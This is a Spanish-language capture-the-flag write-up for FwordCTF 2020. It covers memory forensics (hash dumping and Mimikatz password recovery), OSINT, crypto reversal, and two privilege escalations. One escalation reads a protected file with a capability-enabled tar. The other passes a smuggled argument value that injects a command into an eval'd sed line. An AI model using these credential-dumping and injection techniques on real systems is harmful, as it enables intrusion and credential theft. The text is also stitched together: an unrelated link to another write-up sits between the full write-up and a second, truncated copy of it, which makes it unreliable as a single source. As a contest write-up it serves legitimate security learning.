* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la dirección virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta dirección.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseña se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseña en claro, si está disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseña:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversación ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo “important.zip”, y su contraseña **fw0rdsecretp4ss**.Dentro del ZIP está flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag está escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensión **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diálogo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imágenes, y con la anchura se modifica una especie de rotación para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversación con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver “algo” que hay en su página de CTFtime, cuyo enlace está en la descripción de la cuenta.
Al acceder a la página (https://ctftime.org/team/131587) no se ve nada aparte de la dirección de Twitter, y es porque eliminaron la pista una vez les notificó el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una dirección de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una búsqueda rápida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la búsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opinión de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del líder, y en el perfil del usuario se ve la pista “check_my_instagram”, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeña, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaño real utilizo la página Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sí se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastaría con comprimir la flag para luego descomprimirla en un archivo que sí tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leída por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyección de código mediante el parámetro **username**, el cual es utilizado en el sed para sustituir la palabra ‘user’ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable ‘isNew’ no se ejecuta nunca, pero se puede conseguir la ejecución de la función otorgando el valor **‘id’** al parámetro **'name'**, puesto que con el parámetro **permission** se puede ejecutar la sentencia ‘id’, que en vez de ser el comando /usr/bin/id sería la nueva función exportada.
La flag se leería entonces así: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. Nótese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag está desordenada, ya que pasó por la función **shuffle** antes de ser cifrada. Esta función es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de números para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag está shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres únicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible solución con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la búsqueda por imágenes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultó familiar, y es porque estuve en estuve en este lugar en una carrera de orientación hace años. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una búsqueda en Google de ```"village" “boulders”``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posición de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montañosa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algún establecimiento. Tras varias búsquedas en internet y una búsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquí **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atención que hay bastantes edificios pintados de azul. Realizo la búsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, característica por este motivo. Busco en Google Maps su localización y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuación. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (última petición)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
[tl;dr: a few minutes to reverse, an hour and more to bruteforce](https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/GoogleCTF/re_android/android_writeup.html) |
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la dirección virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta dirección.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseña se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseña en claro, si está disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseña:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversación ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo “important.zip”, y su contraseña **fw0rdsecretp4ss**.Dentro del ZIP está flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag está escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensión **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diálogo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imágenes, y con la anchura se modifica una especie de rotación para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversación con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver “algo” que hay en su página de CTFtime, cuyo enlace está en la descripción de la cuenta.
Al acceder a la página (https://ctftime.org/team/131587) no se ve nada aparte de la dirección de Twitter, y es porque eliminaron la pista una vez les notificó el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una dirección de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una búsqueda rápida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la búsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opinión de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del líder, y en el perfil del usuario se ve la pista “check_my_instagram”, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeña, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaño real utilizo la página Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sí se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastaría con comprimir la flag para luego descomprimirla en un archivo que sí tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [email protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leída por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyección de código mediante el parámetro **username**, el cual es utilizado en el sed para sustituir la palabra ‘user’ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable ‘isNew’ no se ejecuta nunca, pero se puede conseguir la ejecución de la función otorgando el valor **‘id’** al parámetro **'name'**, puesto que con el parámetro **permission** se puede ejecutar la sentencia ‘id’, que en vez de ser el comando /usr/bin/id sería la nueva función exportada.
La flag se leería entonces así: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. Nótese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag está desordenada, ya que pasó por la función **shuffle** antes de ser cifrada. Esta función es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de números para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag está shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres únicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible solución con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
